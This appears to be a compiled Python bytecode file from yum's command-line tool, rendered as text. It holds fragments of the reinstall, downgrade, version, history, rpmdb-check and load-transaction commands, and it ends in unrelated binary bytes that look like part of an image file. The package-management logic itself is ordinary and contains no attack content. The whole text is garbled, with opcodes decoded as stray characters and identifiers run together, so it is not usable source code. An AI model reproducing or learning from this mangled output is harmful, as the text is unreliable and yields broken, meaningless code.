d}nXy|i}Wnttfj
o
d}nXd}|dj	o|d||f7}n|dj	o|d|7}n|djo!|djotd|}n|i}t|djoXt|djo|td7}n|td	7}|d
i|id7}n|S(NiRs%s %ss

%ssNo help available for %siis

aliases: s	

alias: s, (	RARCtAttributeErrorRBRRDRRR'(tcommandtcanonical_nameRtsummarythelp_outputt
command_names((s!/usr/share/yum-cli/yumcommands.pyt_makeOutputes.

!cCsR|d|ijo4|i|d}|iiti|i|ndgfS(Ni(RmR+R=RR>Rt(R;R
RRRo((s!/usr/share/yum-cli/yumcommands.pyRFs
cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGs(
RHRIRARCRDREtstaticmethodRtRFRG(((s!/usr/share/yum-cli/yumcommands.pyRjRs				$	tReInstallCommandcBs>eZdZdZdZdZdZdZRS(cCsdgS(Nt	reinstall((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ns
PACKAGE...((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs5t|t|t|||t||dS(N(RRRR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs

cCsY|i|tdy|i|SWn+tiij
o}dt|gfSXdS(NsSetting up Reinstall Processi(R@Rt
reinstallPkgsRMRNROR(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
cCs
tdS(Nsreinstall a package(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGs(RHRIRARCRERFRDRG(((s!/usr/share/yum-cli/yumcommands.pyRvs					tDowngradeCommandcBs>eZdZdZdZdZdZdZRS(cCsdgS(Nt	downgrade((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ns
PACKAGE...((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs5t|t|t|||t||dS(N(RRRR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs

cCsY|i|tdy|i|SWn+tiij
o}dt|gfSXdS(NsSetting up Downgrade Processi(R@Rt
downgradePkgsRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
cCs
tdS(Nsdowngrade a package(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGs(RHRIRARCRERFRDRG(((s!/usr/share/yum-cli/yumcommands.pyRys					tVersionCommandcBs5eZdZdZdZdZdZRS(cCsdgS(NR_((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ns[all|installed|available]((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns9Display a version for the machine and/or available repos.(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCs{d}|o|d}nd}|iiti}h}|d)jo1g}|djo
d}q|td}ntii}xK|D]C}	t||	i	||	<||	i
o||	i|iqqW|d	jo9t
d
GHxt|D]}	dG|	GHqWddgfS|d
jox|D]}	|	|djoq4nt
dG|	GHt
dGH|p(xt||	D]}
dG|
GHqWq4hhd6hd6}||	}|i|}
|i|||
|d|dg}|i|}|d|df}|i|t|
d|q4WddgfS|iid}|iid}g}|d*joyw|ii|d|}|ii}|dj	o
|i}n|dj	o+|d|jo|id|dj	n|d+joE|idt
d||ft|df|||dn|oxt|dD]}|ido+t|djo||djoqYn|id t
d!|ft|d|f|||d"|qYWnWqti i!j
o}dt|gfSXn|d,jo^y,|i"i|d|}|d-joP|idt
d%||ft|df|o|||dqn|oxt|dD]}|ido+t|djo||djoqn|id t
d&|ft|d|f|o|||d"|qqWnWqti i!j
o}dt|gfSXnhhd6hd'6}xq|D]i\}}xZdt|fd't|ffD]4\}}||i#|d|||cd7<qWqW|d|d'g}|i|}|d|df}x%|D]}|i$t%||GHqMWdd(gfS(.NRlicSsxt|D]}||}g}d}xYt|D]K}|djoq6n||}|id||ft||fq6Wd|jo>|p|d|jo%|id|t|dfn|i|q
WdS(Ns	    %s/%ss    %s(RRR:RPtextend(ROt	repo_datatrepoidRtncolstlast_revtrev((s!/usr/share/yum-cli/yumcommands.pyt
_append_reposs




+&%tnogroupssnogroups-installedsnogroups-availablesnogroups-alls	nogroups-Rs Yum version groups:s   sversion grouplistRis
 Group   :s
 Packages:tenvraR\Rwsversion groupinfot
releasevertbasearchR&sgroup-installeds	group-alltgroupstwarns%s %s/%ss
Installed:isgroup-s%s %ssGroup-Installed:iRmsgroup-availables
Available:sGroup-Available:R[R_(Rsnogroups-installedsnogroups-availablesnogroups-all(s	installedsallsgroup-installeds	group-all(sgroup-installeds	group-all(s	availablesallsgroup-availables	group-all(sgroup-availables	group-all(&R+RRRRRMtconfigtreadVersionGroupsConfigRytpkglisttrun_with_packagesRStrun_with_package_namesRRt_group_names2aipkgst_calcDataPkgColumnsRrt_displayPkgsFromNamesR1RtyumvarR%t
simpleVersionthistoryRbRtend_rpmdbversiont_rpmdb_warn_checksR:RPt
startswithRNROR.Rct
fmtColumnstzip(R;R
RRtvcmdRRIRtgconftgrouptpkgnameRdt	pkg_namestpkg_names2pkgsRwtreltbaROtlastdbvtgrpRQR\R[RgRhtline((s!/usr/share/yum-cli/yumcommands.pyRFs	











$!

$%%cCsSd}|o|d}n|iiti}|djo|otS|djS(	NRliRRmR&sgroup-availables	group-all(s	availablesallsgroup-availables	group-all(R+RRRR1(R;R
RRRRI((s!/usr/share/yum-cli/yumcommands.pyRGOs(RHRIRARCRDRFRG(((s!/usr/share/yum-cli/yumcommands.pyR|s
				|tHistoryCommandcBsteZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
RS(cCsdgS(NR((R;((s!/usr/share/yum-cli/yumcommands.pyRAZscCsdS(NsC[info|list|packages-list|summary|addon-info|redo|undo|rollback|new]((R;((s!/usr/share/yum-cli/yumcommands.pyRC]scCs
tdS(Ns(Display, or use, the transaction history(R(R;((s!/usr/share/yum-cli/yumcommands.pyRD`scCs|i|}|djoddgfSti|i}d|i|fGH|i||i|odd|ifgfSdS(NisFailed history redos!Repeating transaction %u, from %sisRepeating transaction %u(t_history_get_transactionRR>R?t
beg_timestampttidthistoryInfoCmdPkgsAlteredthistory_redo(R;R
Rtoldttm((s!/usr/share/yum-cli/yumcommands.pyt
_hcmd_redocs

cCs|i|}|djoddgfSti|i}d|i|fGH|i||i|odd|ifgfSdS(NisFailed history undosUndoing transaction %u, from %sisUndoing transaction %u(RRR>R?RRRthistory_undo(R;R
RRR((s!/usr/share/yum-cli/yumcommands.pyt
_hcmd_undoms

c
Cst}t|djo/|ddjot}|}|idn|i|}|djoddgfS|ii}|djoddgfS|i|ijoddgfSd}x|ii	t
|id|idD]}|oM|ip
|io9|io
d}nd}||iGHd	GHdd
gfS|djot
ii|}q|i|qWti|i}	d|i|	fGH|idd
id|iDGH|i||i|odd|ifgfSdS(Nitforceis'Failed history rollback, no transactions!Failed history rollback, no last?s"Rollback to current, nothing to dos-Transaction history is incomplete, before %u.s,Transaction history is incomplete, after %u.s5 You can use 'history rollback force', to try anyway.s#Failed history rollback, incompletes#Rollback to transaction %u, from %ss&  Undoing the following transactions: s, cssx|]}t|VqWdS(N(RP(t.0R"((s!/usr/share/yum-cli/yumcommands.pys	<genexpr>s	isRollback to transaction %u(R8RR1tpopRRRRbRRtrangetaltered_lt_rpmdbtaltered_gt_rpmdbRMtYumMergedHistoryTransactiontmergeR>R?RR;R'RR(
R;R
RRRRbtmobjRRR((s!/usr/share/yum-cli/yumcommands.pyt_hcmd_rollbackwsB$

*


	
cCs|iidS(N(Rt_create_db_file(R;R
R((s!/usr/share/yum-cli/yumcommands.pyt	_hcmd_newscCsdG|iiGHti|iii}dGtid|tGH|ii}|djot
dGdGHdS|ii}|iidd}t
dG|i
GHt
dGti|iGHt
dGti|iGHt
d	GHt
d
Gtid|dtGHt
d
Gtid|dtGHt
dGtid|dtGHt
dGtid|dtGHt
dGtid|dtGHt
dGtid|dtGHdS(Ns
File        :s
Size        :s%ds
Transactions:it1s
Begin time  :s
End time    :s
Counts      :s
  NEVRAC :s%6dtnevracs
  NEVRA  :tnevras
  NA     :RZs
  NEVR   :tnevrs
  rpm DB :R%s
  yum DB :tyumdb(Rt_db_fileR-REtst_sizeRRR1RbRRt
_pkg_statsRRR>R?Rt
end_timestamp(R;R
RRttrans_Ntcountsttrans_1((s!/usr/share/yum-cli/yumcommands.pyt_hcmd_statss&
"""""cCs|d}|p
d}nxvt|iid|D]Y}|ii|dtdjoq7ndG|GdG|ii|o	dGHq7dGHq7WdS(NiRtcreatesSyncing rpm/yum DB data for:s...sDone.sFAILED.(RRR%RRtpkg2pidR8t
sync_alldb(R;R
Rtipkg((s!/usr/share/yum-cli/yumcommands.pyt
_hcmd_syncs

	cCsd}|o@|d|jo/|iitddi|tin|o)|ddjot|t|nM|ii	ot
i|ii	t
ip#|iitdtindS( NRRRqtrepeattredotundotnewtrollbacktaddons
addon-infotstatst
statisticstsynctsynchronizepkgRzspkg-lists	pkgs-listtpackagespackage-listR!s
packages-listspkg-infos	pkgs-infospackage-infos
packages-infois%Invalid history sub-command, use: %s.s, s(You don't have access to the history DB.(slistsinfossummarysrepeatRRsnewRRs
addon-infoRRRRspkgsspkg-lists	pkgs-listRspackage-listspackagess
packages-listspkg-infos	pkgs-infospackage-infos
packages-info(srepeatRRRsnew(
R	R
RR'RRRRRRR-taccesstR_OK(R;R
RRtcmds((s!/usr/share/yum-cli/yumcommands.pyREs"

)c	Csd}|o|d}nton|djo|i|}ns|djo|i|}nS|djo|i|}n3|djo|i|}n|djo|i|}n|djo|i||}n|djo|i||}n|djo|i||}n|djo|i	||}ng|d jo|i
||}nD|d!jo|i||}n!|d"jo|i|}n|djodd|fgfS|S(#NRiRRqRs
addon-infoReRzspkg-lists	pkgs-listRspackage-listR!s
packages-listRRRRRRRRtsynchronizespkg-infos	pkgs-infospackage-infos
packages-infos
history %s(saddons
addon-info(spkgspkgsspkg-lists	pkgs-listspackagespackage-listspackagess
packages-list(sredosrepeat(sstatss
statistics(ssyncR(spkg-infos	pkgs-infospackage-infos
packages-info(R8thistoryListCmdthistoryInfoCmdthistorySummaryCmdthistoryAddonInfoCmdthistoryPackageListCmdRRRRRRthistoryPackageInfoCmdR(R;R
RRRR((s!/usr/share/yum-cli/yumcommands.pyRFsB












cCs%d}|o|d}n|djS(NRiRRRR(srepeatsredosundosrollback((R;R
RRR((s!/usr/share/yum-cli/yumcommands.pyRGs(RHRIRARCRDRRRRRRRERFRG(((s!/usr/share/yum-cli/yumcommands.pyRYs				
	
	(					$tCheckRpmdbCommandcBs5eZdZdZdZdZdZRS(cCs
ddgS(Ntcheckscheck-rpmdb((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ns[dependencies|duplicates|all]((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(NsCheck for problems in the rpmdb(R(R;((s!/usr/share/yum-cli/yumcommands.pyRD
sc	Csod}|o
|}nd}d}|id|dtd|ddo
d	}n|d
||fgfS(NR&cSst|iGHdS(N(Rt__str__(R"((s!/usr/share/yum-cli/yumcommands.pyt_outsiR^RtchkcmdtheadercSsdS(N(R(R"((s!/usr/share/yum-cli/yumcommands.pyR#sis%s %s(RR8(R;R
RRRRtrc((s!/usr/share/yum-cli/yumcommands.pyRF
s
	

cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGs(RHRIRARCRDRFRG(((s!/usr/share/yum-cli/yumcommands.pyRs
				tLoadTransactionCommandcBs5eZdZdZdZdZdZRS(cCs
ddgS(Nsload-transactionsload-ts((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ntfilename((R;((s!/usr/share/yum-cli/yumcommands.pyRC"scCs
tdS(Ns&load a saved transaction from filename(R(R;((s!/usr/share/yum-cli/yumcommands.pyRD%scCs|p#|iitdtin|d}|i|td|y|i|Wn+tii	j
o}dt
|gfSXdtd|t|ii
fgfS(Ns$No saved transaction file specified.isloading transaction from %siis*Transaction loaded from %s with %s members(R	R
RRRR@tload_tsRMRNRORRttsInfot
getMembers(R;R
RRt	load_fileRQ((s!/usr/share/yum-cli/yumcommands.pyRF(s

cCstS(N(R1(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRG7s(RHRIRARCRDRFRG(((s!/usr/share/yum-cli/yumcommands.pyRs
				(<t__doc__R-RRMRRRt
yum.ErrorsRRtfnmatchR>tyum.i18nRRRt
yum.configtyum.packagesRRRRRRR*R0R6R7RJRRRVRiRxRRRRRRRRRRRRRRRRRR	RRRjRvRyR|RRR(((s!/usr/share/yum-cli/yumcommands.pyt<module>sn	
						)		m
26A
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`